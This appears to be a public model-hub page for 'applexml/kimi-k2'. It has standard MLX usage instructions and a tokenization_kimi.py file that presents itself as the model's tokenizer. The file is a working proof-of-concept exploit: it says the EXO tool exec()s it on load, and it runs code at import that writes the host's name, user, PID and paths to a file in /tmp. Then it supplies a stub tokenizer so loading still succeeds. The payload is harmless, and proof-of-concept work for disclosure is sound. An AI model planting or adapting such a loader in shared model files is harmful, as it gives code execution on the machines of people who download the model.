Text Generation
MLX
Safetensors
English
llama
llm
tool-calling
lightweight
agentic-tasks
react
conversational
Instructions to use applexml/kimi-k2 with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- MLX
How to use applexml/kimi-k2 with MLX:
# Make sure mlx-lm is installed # pip install --upgrade mlx-lm # Generate text with mlx-lm from mlx_lm import load, generate model, tokenizer = load("applexml/kimi-k2") prompt = "Write a story about Einstein" messages = [{"role": "user", "content": prompt}] prompt = tokenizer.apply_chat_template( messages, add_generation_prompt=True ) text = generate(model, tokenizer, prompt=prompt, verbose=True) - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- LM Studio
- MLX LM
How to use applexml/kimi-k2 with MLX LM:
Generate or start a chat session
# Install MLX LM uv tool install mlx-lm # Interactive chat REPL mlx_lm.chat --model "applexml/kimi-k2"
Run an OpenAI-compatible server
# Install MLX LM uv tool install mlx-lm # Start the server mlx_lm.server --model "applexml/kimi-k2" # Calling the OpenAI-compatible server with curl curl -X POST "http://localhost:8000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "applexml/kimi-k2", "messages": [ {"role": "user", "content": "Hello"} ] }' - Atomic Chat
| # tokenization_kimi.py - Safe PoC stub | |
| # This file is executed via exec() by EXO when loading a model whose ID contains "kimi-k2". | |
| # It demonstrates arbitrary code execution by writing a marker file, then provides | |
| # the TikTokenTokenizer class that EXO expects. | |
| import os | |
| import sys | |
| from pathlib import Path | |
| # ============================================================================ | |
| # PoC PAYLOAD - executes at module load time (when EXO calls exec() on this file) | |
| # ============================================================================ | |
| POC_MARKER_FILE = "/tmp/exo_poc_marker.txt" | |
| def execute_payload(): | |
| """ | |
| Proof-of-execution: writes a marker file with basic context info. | |
| Non-destructive — only creates one small file under /tmp. | |
| """ | |
| try: | |
| content = ( | |
| "=== EXO RCE PoC - Code Execution Confirmed ===\n" | |
| f"Hostname: {os.uname().nodename}\n" | |
| f"User: {os.getenv('USER', 'unknown')}\n" | |
| f"PID: {os.getpid()}\n" | |
| f"Python: {sys.executable}\n" | |
| f"CWD: {os.getcwd()}\n" | |
| ) | |
| Path(POC_MARKER_FILE).write_text(content) | |
| print(f"[PoC] tokenization_kimi executed — marker written to {POC_MARKER_FILE}") | |
| except Exception as exc: | |
| print(f"[PoC] Could not write marker file: {exc}") | |
| execute_payload() | |
| # ============================================================================ | |
| # STUB TOKENIZER CLASS — required by EXO's load_tokenizer_for_model_id() | |
| # EXO calls: | |
| # hf_tokenizer = TikTokenTokenizer.from_pretrained(model_path) | |
| # hf_tokenizer.encode = _patched_encode (uses hf_tokenizer.model.encode) | |
| # So we need a .model attribute that has an .encode() method. | |
| # ============================================================================ | |
| class _InnerModel: | |
| """Minimal inner model that satisfies EXO's patched encode path.""" | |
| def encode(self, text: str, allowed_special=None) -> list: | |
| return [ord(c) % 128 for c in (text or "")] | |
| def decode(self, tokens, errors="replace") -> str: | |
| return "".join(chr(t % 128) for t in tokens) | |
| class TikTokenTokenizer: | |
| """ | |
| Stub TikTokenTokenizer to satisfy EXO's tokenizer loading expectations. | |
| The PoC payload has already executed by the time this class is instantiated. | |
| """ | |
| def __init__(self, *args, **kwargs): | |
| self.model = _InnerModel() | |
| self.eos_token_id = 151643 # <|im_end|> in real Kimi vocab | |
| self.bos_token_id = 151644 | |
| self.pad_token_id = 151643 | |
| self.eos_token = "<|im_end|>" | |
| self.bos_token = "<|im_start|>" | |
| print("[PoC] TikTokenTokenizer stub initialised") | |
| def from_pretrained(cls, model_path, **kwargs): | |
| print(f"[PoC] TikTokenTokenizer.from_pretrained called with: {model_path}") | |
| return cls() | |
| def encode(self, text: str, **kwargs) -> list: | |
| return self.model.encode(text) | |
| def decode(self, tokens, **kwargs) -> str: | |
| return self.model.decode(tokens) | |
| print("[PoC] tokenization_kimi.py loaded successfully") | |